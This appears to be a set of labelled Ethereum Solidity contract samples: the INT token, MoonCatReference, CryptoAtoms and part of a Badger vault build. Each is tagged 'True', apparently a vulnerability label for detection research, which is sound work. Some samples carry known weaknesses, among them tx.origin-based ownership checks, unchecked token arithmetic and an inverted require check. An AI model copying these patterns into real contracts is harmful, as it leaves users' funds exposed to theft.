Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable {
uint amount = msg.value / buyPrice; // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) {
require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
}
contract INT is INTToken(1000000000000000, "Internet Node Token", 6, "INT") {} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-01-14
*/
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.1;
interface IReverseResolver {
function claim(address owner) external returns (bytes32);
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
}
interface IERC721 {
function safeTransferFrom(address from, address to, uint256 tokenId) external;
}
/**
* @title MoonCatsOnChain
* @notice On Chain Reference for Offical MoonCat Projects
* @dev Maintains a mapping of contract addresses to documentation/description strings
*/
contract MoonCatReference {
/* Original MoonCat Rescue Contract */
address constant public MoonCatRescue = 0x60cd862c9C687A9dE49aecdC3A99b74A4fc54aB6;
/* Documentation */
address[] internal ContractAddresses;
struct Doc {
string name;
string description;
string details;
}
mapping (address => Doc) internal Docs;
/**
* @dev How many Contracts does this Reference contract have documentation for?
*/
function totalContracts () public view returns (uint256) {
return ContractAddresses.length;
}
/**
* @dev Iterate through the addresses this Reference contract has documentation for.
*/
function contractAddressByIndex (uint256 index) public view returns (address) {
require(index < ContractAddresses.length, "Index Out of Range");
return ContractAddresses[index];
}
/**
* @dev For a specific address, get the details this Reference contract has for it.
*/
function doc (address _contractAddress) public view returns (string memory name, string memory description, string memory details) {
Doc storage data = Docs[_contractAddress];
return (data.name, data.description, data.details);
}
/**
* @dev Iterate through the addresses this Reference contract has documentation for, returning the details stored for that contract.
*/
function doc (uint256 index) public view returns (string memory name, string memory description, string memory details, address contractAddress) {
require(index < ContractAddresses.length, "Index Out of Range");
contractAddress = ContractAddresses[index];
(name, description, details) = doc(contractAddress);
}
/**
* @dev Get documentation about this contract.
*/
function doc () public view returns (string memory name, string memory description, string memory details) {
return doc(address(this));
}
address payable public owner;
modifier onlyOwner () {
require(msg.sender == owner, "Only Owner");
_;
}
/**
* @dev Update the stored details about a specific Contract.
*/
function setDoc (address contractAddress, string memory name, string memory description, string memory details) public onlyOwner {
require(bytes(name).length > 0, "Name cannot be blank");
Doc storage data = Docs[contractAddress];
if (bytes(data.name).length == 0) {
ContractAddresses.push(contractAddress);
}
data.name = name;
data.description = description;
data.details = details;
}
/**
* @dev Update the name and description about a specific Contract.
*/
function setDoc (address contractAddress, string memory name, string memory description) public {
setDoc(contractAddress, name, description, "");
}
/**
* @dev Update the details about a specific Contract.
*/
function updateDetails (address contractAddress, string memory details) public onlyOwner {
Doc storage data = Docs[contractAddress];
require(bytes(data.name).length == 0, "Doc not found");
data.details = details;
}
/**
* @dev Update the details for multiple Contracts at once.
*/
function batchSetDocs (address[] calldata contractAddresses, Doc[] calldata docs) public onlyOwner {
for ( uint256 i = 0; i < docs.length; i++) {
Doc memory data = docs[i];
setDoc(contractAddresses[i], data.name, data.description, data.details);
}
}
/**
* @dev Allow current `owner` to transfer ownership to another address
*/
function transferOwnership (address payable newOwner) public onlyOwner {
owner = newOwner;
}
/**
* @dev Rescue ERC20 assets sent directly to this contract.
*/
function withdrawForeignERC20 (address tokenContract) public onlyOwner {
IERC20 token = IERC20(tokenContract);
token.transfer(owner, token.balanceOf(address(this)));
}
/**
* @dev Rescue ERC721 assets sent directly to this contract.
*/
function withdrawForeignERC721 (address tokenContract, uint256 tokenId) public onlyOwner {
IERC721(tokenContract).safeTransferFrom(address(this), owner, tokenId);
}
constructor () {
owner = payable(msg.sender);
// https://docs.ens.domains/contract-api-reference/reverseregistrar#claim-address
IReverseResolver(0x084b1c3C81545d370f3634392De611CaaBFf8148).claim(msg.sender);
setDoc(0x60cd862c9C687A9dE49aecdC3A99b74A4fc54aB6, "MoonCatRescue", "Original 2017 MoonCatRescue user-discoverable blockchain collectible.", "");
}
} | True | [
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pragma solidity ^0.4.19;
contract ADM312 {
address public COO;
address public CTO;
address public CFO;
address private coreAddress;
address public logicAddress;
address public superAddress;
modifier onlyAdmin() {
require(msg.sender == COO || msg.sender == CTO || msg.sender == CFO);
_;
}
modifier onlyContract() {
require(msg.sender == coreAddress || msg.sender == logicAddress || msg.sender == superAddress);
_;
}
modifier onlyContractAdmin() {
require(msg.sender == coreAddress || msg.sender == logicAddress || msg.sender == superAddress || msg.sender == COO || msg.sender == CTO || msg.sender == CFO);
_;
}
function transferAdmin(address _newAdminAddress1, address _newAdminAddress2) public onlyAdmin {
if(msg.sender == COO)
{
CTO = _newAdminAddress1;
CFO = _newAdminAddress2;
}
if(msg.sender == CTO)
{
COO = _newAdminAddress1;
CFO = _newAdminAddress2;
}
if(msg.sender == CFO)
{
COO = _newAdminAddress1;
CTO = _newAdminAddress2;
}
}
function transferContract(address _newCoreAddress, address _newLogicAddress, address _newSuperAddress) external onlyAdmin {
coreAddress = _newCoreAddress;
logicAddress = _newLogicAddress;
superAddress = _newSuperAddress;
SetCoreInterface(_newLogicAddress).setCoreContract(_newCoreAddress);
SetCoreInterface(_newSuperAddress).setCoreContract(_newCoreAddress);
}
}
contract ERC721 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function transfer(address _to, uint256 _tokenId) public;
function approve(address _to, uint256 _tokenId) public;
function takeOwnership(uint256 _tokenId) public;
}
contract SetCoreInterface {
function setCoreContract(address _neWCoreAddress) external;
}
contract CaData is ADM312, ERC721 {
function CaData() public {
COO = msg.sender;
CTO = msg.sender;
CFO = msg.sender;
createCustomAtom(0,0,4,0,0,0,0);
}
function kill() external
{
require(msg.sender == COO);
selfdestruct(msg.sender);
}
function() public payable{}
uint public randNonce = 0;
struct Atom
{
uint64 dna;
uint8 gen;
uint8 lev;
uint8 cool;
uint32 sons;
uint64 fath;
uint64 moth;
uint128 isRent;
uint128 isBuy;
uint32 isReady;
}
Atom[] public atoms;
mapping (uint64 => bool) public dnaExist;
mapping (address => bool) public bonusReceived;
mapping (address => uint) public ownerAtomsCount;
mapping (uint => address) public atomOwner;
event NewWithdraw(address sender, uint balance);
//ADMIN
function createCustomAtom(uint64 _dna, uint8 _gen, uint8 _lev, uint8 _cool, uint128 _isRent, uint128 _isBuy, uint32 _isReady) public onlyAdmin {
require(dnaExist[_dna]==false && _cool+_lev>=4);
Atom memory newAtom = Atom(_dna, _gen, _lev, _cool, 0, 2**50, 2**50, _isRent, _isBuy, _isReady);
uint id = atoms.push(newAtom) - 1;
atomOwner[id] = msg.sender;
ownerAtomsCount[msg.sender]++;
dnaExist[_dna] = true;
}
function withdrawBalance() public payable onlyAdmin {
NewWithdraw(msg.sender, address(this).balance);
CFO.transfer(address(this).balance);
}
//MAPPING_SETTERS
function incRandNonce() external onlyContract {
randNonce++;
}
function setDnaExist(uint64 _dna, bool _newDnaLocking) external onlyContractAdmin {
dnaExist[_dna] = _newDnaLocking;
}
function setBonusReceived(address _add, bool _newBonusLocking) external onlyContractAdmin {
bonusReceived[_add] = _newBonusLocking;
}
function setOwnerAtomsCount(address _owner, uint _newCount) external onlyContract {
ownerAtomsCount[_owner] = _newCount;
}
function setAtomOwner(uint _atomId, address _owner) external onlyContract {
atomOwner[_atomId] = _owner;
}
//ATOM_SETTERS
function pushAtom(uint64 _dna, uint8 _gen, uint8 _lev, uint8 _cool, uint32 _sons, uint64 _fathId, uint64 _mothId, uint128 _isRent, uint128 _isBuy, uint32 _isReady) external onlyContract returns (uint id) {
Atom memory newAtom = Atom(_dna, _gen, _lev, _cool, _sons, _fathId, _mothId, _isRent, _isBuy, _isReady);
id = atoms.push(newAtom) -1;
}
function setAtomDna(uint _atomId, uint64 _dna) external onlyAdmin {
atoms[_atomId].dna = _dna;
}
function setAtomGen(uint _atomId, uint8 _gen) external onlyAdmin {
atoms[_atomId].gen = _gen;
}
function setAtomLev(uint _atomId, uint8 _lev) external onlyContract {
atoms[_atomId].lev = _lev;
}
function setAtomCool(uint _atomId, uint8 _cool) external onlyContract {
atoms[_atomId].cool = _cool;
}
function setAtomSons(uint _atomId, uint32 _sons) external onlyContract {
atoms[_atomId].sons = _sons;
}
function setAtomFath(uint _atomId, uint64 _fath) external onlyContract {
atoms[_atomId].fath = _fath;
}
function setAtomMoth(uint _atomId, uint64 _moth) external onlyContract {
atoms[_atomId].moth = _moth;
}
function setAtomIsRent(uint _atomId, uint128 _isRent) external onlyContract {
atoms[_atomId].isRent = _isRent;
}
function setAtomIsBuy(uint _atomId, uint128 _isBuy) external onlyContract {
atoms[_atomId].isBuy = _isBuy;
}
function setAtomIsReady(uint _atomId, uint32 _isReady) external onlyContractAdmin {
atoms[_atomId].isReady = _isReady;
}
//ERC721
mapping (uint => address) tokenApprovals;
function totalSupply() public view returns (uint256 total){
return atoms.length;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownerAtomsCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address owner) {
return atomOwner[_tokenId];
}
function _transfer(address _from, address _to, uint256 _tokenId) private {
atoms[_tokenId].isBuy = 0;
atoms[_tokenId].isRent = 0;
ownerAtomsCount[_to]++;
ownerAtomsCount[_from]--;
atomOwner[_tokenId] = _to;
Transfer(_from, _to, _tokenId);
}
function transfer(address _to, uint256 _tokenId) public {
require(msg.sender == atomOwner[_tokenId]);
_transfer(msg.sender, _to, _tokenId);
}
function approve(address _to, uint256 _tokenId) public {
require(msg.sender == atomOwner[_tokenId]);
tokenApprovals[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function takeOwnership(uint256 _tokenId) public {
require(tokenApprovals[_tokenId] == msg.sender);
_transfer(ownerOf(_tokenId), msg.sender, _tokenId);
}
}
contract CaCoreInterface {
function createCombinedAtom(uint, uint) external returns (uint);
function createRandomAtom() external returns (uint);
function createTransferAtom(address , address , uint) external;
}
contract CryptoAtomsLogicV2{
address public CaDataAddress = 0x9b3554E6FC4F81531F6D43b611258bd1058ef6D5;
CaData public CaDataContract = CaData(CaDataAddress);
CaCoreInterface private CaCoreContract;
bool public pauseMode = false;
bool public bonusMode = true;
uint128 public newAtomFee = 1 finney;
uint8 public buyFeeRate = 0;
uint8[4] public levelupValues = [0,
2,
5,
10];
event NewSetRent(address sender, uint atom);
event NewSetBuy(address sender, uint atom);
event NewUnsetRent(address sender, uint atom);
event NewUnsetBuy(address sender, uint atom);
event NewAutoRentAtom(address sender, uint atom);
event NewRentAtom(address sender, uint atom, address receiver, uint amount);
event NewBuyAtom(address sender, uint atom, address receiver, uint amount);
event NewEvolveAtom(address sender, uint atom);
event NewBonusAtom(address sender, uint atom);
function() public payable{}
function kill() external
{
require(msg.sender == CaDataContract.CTO());
selfdestruct(msg.sender);
}
modifier onlyAdmin() {
require(msg.sender == CaDataContract.COO() || msg.sender == CaDataContract.CFO() || msg.sender == CaDataContract.CTO());
_;
}
modifier onlyActive() {
require(pauseMode == false);
_;
}
modifier onlyOwnerOf(uint _atomId, bool _flag) {
require((tx.origin == CaDataContract.atomOwner(_atomId)) == _flag);
_;
}
modifier onlyRenting(uint _atomId, bool _flag) {
uint128 isRent;
(,,,,,,,isRent,,) = CaDataContract.atoms(_atomId);
require((isRent > 0) == _flag);
_;
}
modifier onlyBuying(uint _atomId, bool _flag) {
uint128 isBuy;
(,,,,,,,,isBuy,) = CaDataContract.atoms(_atomId);
require((isBuy > 0) == _flag);
_;
}
modifier onlyReady(uint _atomId) {
uint32 isReady;
(,,,,,,,,,isReady) = CaDataContract.atoms(_atomId);
require(isReady <= now);
_;
}
modifier beDifferent(uint _atomId1, uint _atomId2) {
require(_atomId1 != _atomId2);
_;
}
function setCoreContract(address _neWCoreAddress) external {
require(msg.sender == CaDataAddress);
CaCoreContract = CaCoreInterface(_neWCoreAddress);
}
function setPauseMode(bool _newPauseMode) external onlyAdmin {
pauseMode = _newPauseMode;
}
function setGiftMode(bool _newBonusMode) external onlyAdmin {
bonusMode = _newBonusMode;
}
function setFee(uint128 _newFee) external onlyAdmin {
newAtomFee = _newFee;
}
function setRate(uint8 _newRate) external onlyAdmin {
buyFeeRate = _newRate;
}
function setLevelup(uint8[4] _newLevelup) external onlyAdmin {
levelupValues = _newLevelup;
}
function setIsRentByAtom(uint _atomId, uint128 _fee) external onlyActive onlyOwnerOf(_atomId,true) onlyRenting(_atomId, false) onlyReady(_atomId) {
require(_fee > 0);
CaDataContract.setAtomIsRent(_atomId,_fee);
NewSetRent(tx.origin,_atomId);
}
function setIsBuyByAtom(uint _atomId, uint128 _fee) external onlyActive onlyOwnerOf(_atomId,true) onlyBuying(_atomId, false){
require(_fee > 0);
CaDataContract.setAtomIsBuy(_atomId,_fee);
NewSetBuy(tx.origin,_atomId);
}
function unsetIsRentByAtom(uint _atomId) external onlyActive onlyOwnerOf(_atomId, true) onlyRenting(_atomId, true){
CaDataContract.setAtomIsRent(_atomId,0);
NewUnsetRent(tx.origin,_atomId);
}
function unsetIsBuyByAtom(uint _atomId) external onlyActive onlyOwnerOf(_atomId, true) onlyBuying(_atomId, true){
CaDataContract.setAtomIsBuy(_atomId,0);
NewUnsetBuy(tx.origin,_atomId);
}
function autoRentByAtom(uint _atomId, uint _ownedId) external payable onlyActive beDifferent(_atomId, _ownedId) onlyOwnerOf(_atomId, true) onlyOwnerOf(_ownedId,true) onlyReady(_atomId) onlyReady(_ownedId) {
require(newAtomFee == msg.value);
CaDataAddress.transfer(newAtomFee);
uint id = CaCoreContract.createCombinedAtom(_atomId,_ownedId);
NewAutoRentAtom(tx.origin,id);
}
function rentByAtom(uint _atomId, uint _ownedId) external payable onlyActive beDifferent(_atomId, _ownedId) onlyOwnerOf(_ownedId, true) onlyRenting(_atomId, true) onlyReady(_ownedId) {
address owner = CaDataContract.atomOwner(_atomId);
uint128 isRent;
(,,,,,,,isRent,,) = CaDataContract.atoms(_atomId);
require(isRent + newAtomFee == msg.value);
owner.transfer(isRent);
CaDataAddress.transfer(newAtomFee);
uint id = CaCoreContract.createCombinedAtom(_atomId,_ownedId);
NewRentAtom(tx.origin,id,owner,isRent);
}
function buyByAtom(uint _atomId) external payable onlyActive onlyOwnerOf(_atomId, false) onlyBuying(_atomId, true) {
address owner = CaDataContract.atomOwner(_atomId);
uint128 isBuy;
(,,,,,,,,isBuy,) = CaDataContract.atoms(_atomId);
require(isBuy == msg.value);
if(buyFeeRate>0)
{
uint128 fee = uint128(isBuy/100) * buyFeeRate;
isBuy = isBuy - fee;
CaDataAddress.transfer(fee);
}
owner.transfer(isBuy);
CaDataContract.setAtomIsBuy(_atomId,0);
CaDataContract.setAtomIsRent(_atomId,0);
CaDataContract.setOwnerAtomsCount(tx.origin,CaDataContract.ownerAtomsCount(tx.origin)+1);
CaDataContract.setOwnerAtomsCount(owner,CaDataContract.ownerAtomsCount(owner)-1);
CaDataContract.setAtomOwner(_atomId,tx.origin);
CaCoreContract.createTransferAtom(owner, tx.origin, _atomId);
NewBuyAtom(tx.origin,_atomId,owner,isBuy);
}
function evolveByAtom(uint _atomId) external onlyActive onlyOwnerOf(_atomId, true) {
uint8 lev;
uint8 cool;
uint32 sons;
(,,lev,cool,sons,,,,,) = CaDataContract.atoms(_atomId);
require(lev < 4 && sons >= levelupValues[lev]);
CaDataContract.setAtomLev(_atomId,lev+1);
CaDataContract.setAtomCool(_atomId,cool-1);
NewEvolveAtom(tx.origin,_atomId);
}
function receiveBonus() onlyActive external {
require(bonusMode == true && CaDataContract.bonusReceived(tx.origin) == false);
CaDataContract.setBonusReceived(tx.origin,true);
uint id = CaCoreContract.createRandomAtom();
NewBonusAtom(tx.origin,id);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-12-09
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
// Part: AddressUpgradeable
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: BadgerGuestListAPI
interface BadgerGuestListAPI {
function authorized(address guest, uint256 amount, bytes32[] calldata merkleProof) external view returns (bool);
function setGuests(address[] calldata _guests, bool[] calldata _invited) external;
}
// Part: IController
interface IController {
function withdraw(address, uint256) external;
function strategies(address) external view returns (address);
function balanceOf(address) external view returns (uint256);
function earn(address, uint256) external;
function want(address) external view returns (address);
function rewards() external view returns (address);
function vaults(address) external view returns (address);
}
// Part: IERC20Detailed
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Detailed {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: IERC20Upgradeable
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: IGac
interface IGac {
function DEV_MULTISIG() external view returns (address);
function WAR_ROOM_ACL() external view returns (address);
function BLACKLISTED_ROLE() external view returns (bytes32);
function paused() external view returns (bool);
function transferFromDisabled() external view returns (bool);
function isBlacklisted(address account) external view returns (bool);
function unpause() external;
function pause() external;
function enableTransferFrom() external;
function disableTransferFrom() external;
function grantRole(bytes32 role, address account) external;
}
// Part: Initializable
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
// solhint-disable-next-line no-inline-assembly
assembly { cs := extcodesize(self) }
return cs == 0;
}
}
// Part: SafeMathUpgradeable
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
